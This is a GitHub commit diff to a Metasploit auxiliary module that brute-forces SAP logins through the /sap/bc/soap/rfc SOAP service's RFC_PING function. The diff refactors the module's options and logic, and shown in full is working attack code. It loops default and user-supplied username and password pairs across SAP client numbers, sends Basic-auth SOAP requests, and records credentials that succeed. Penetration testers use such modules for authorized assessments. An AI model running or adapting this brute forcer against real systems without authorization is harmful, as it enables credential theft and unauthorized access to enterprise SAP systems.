Skip to content

Commit 3573d31

Browse files
author
jvazquez-r7
committed
final cleanup
1 parent eddea29 commit 3573d31

File tree

1 file changed

+47
-46
lines changed

1 file changed

+47
-46
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb

Lines changed: 47 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -27,23 +27,31 @@ class Metasploit4 < Msf::Auxiliary
2727

2828
def initialize
2929
super(
30-
'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING)',
30+
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer',
3131
'Description' => %q{
32-
This module attempts to brute force the username | password via an RFC
33-
interface (over SOAP). Default clients can be tested without needing to set a
34-
CLIENT. Common/Default user and password combinations can be tested without needing
35-
to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and
36-
password combinations are stored in ./data/wordlists/sap_default.txt.
37-
},
38-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
39-
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
40-
'License' => BSD_LICENSE
41-
)
42-
register_options([
43-
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
44-
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
32+
This module attempts to brute force SAP username and passwords through the
33+
/sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
34+
tested without needing to set a CLIENT. Common/Default user and password
35+
combinations can be tested just setting DEFAULT_CRED variable to true. These
36+
default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
37+
},
38+
'References' =>
39+
[
40+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
41+
],
42+
'Author' =>
43+
[
44+
'Agnivesh Sathasivam',
45+
'nmonkee'
46+
],
47+
'License' => MSF_LICENSE
48+
)
49+
register_options(
50+
[
51+
Opt::RPORT(8000),
52+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
53+
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
4554
], self.class)
46-
register_autofilter_ports([ 8000 ])
4755
end
4856

4957
def run_host(ip)
@@ -81,8 +89,7 @@ def run_host(ip)
8189
"pass"
8290
])
8391
if datastore['DEFAULT_CRED']
84-
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
85-
credentials = extract_word_pair(datastore['USERPASS_FILE'])
92+
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
8693
credentials.each do |u, p|
8794
client.each do |cli|
8895
success = bruteforce(u, p, cli)
@@ -91,13 +98,12 @@ def run_host(ip)
9198
end
9299
end
93100
end
94-
else
95-
each_user_pass do |u, p|
96-
client.each do |cli|
97-
success = bruteforce(u, p, cli)
98-
if success
99-
saptbl << [ rhost, rport, cli, u, p]
100-
end
101+
end
102+
each_user_pass do |u, p|
103+
client.each do |cli|
104+
success = bruteforce(u, p, cli)
105+
if success
106+
saptbl << [ rhost, rport, cli, u, p]
101107
end
102108
end
103109
end
@@ -114,9 +120,6 @@ def bruteforce(username,password,client)
114120
data << '</env:Envelope>'
115121
user_pass = Rex::Text.encode_base64(username+ ":" + password)
116122
begin
117-
success = false
118-
error = []
119-
error_msg = []
120123
res = send_request_raw({
121124
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
122125
'method' => 'POST',
@@ -128,25 +131,23 @@ def bruteforce(username,password,client)
128131
'Authorization' => 'Basic ' + user_pass,
129132
'Content-Type' => 'text/xml; charset=UTF-8'}
130133
}, 45)
131-
if res and res.code == 401
132-
success = false
133-
return success
134-
elsif res and res.code == 500
135-
response = res.body
136-
error.push(response.scan(%r{<faultstring>(.*?)</faultstring>}))
137-
error.push(response.scan(%r{<message>(.*?)</message>}))
138-
success = false
139-
elsif res and res.code == 200
140-
success = true
141-
return success
142-
end
143-
if success
144-
err = error.join.chomp
145-
print_error("[SAP] #{rhost}:#{rport} - #{err} - #{client}:#{username}:#{password}")
146-
end
147-
rescue ::Rex::ConnectionError
148-
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
149-
return
134+
if res and res.code == 200
135+
report_auth_info(
136+
:host => rhost,
137+
:port => rport,
138+
:sname => "sap",
139+
:proto => "tcp",
140+
:user => "#{username}",
141+
:pass => "#{password}",
142+
:proof => "SAP Client: #{client}",
143+
:active => true
144+
)
145+
return true
150146
end
147+
rescue ::Rex::ConnectionError
148+
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
149+
return false
151150
end
151+
return false
152152
end
153+
end

0 commit comments

Comments
 (0)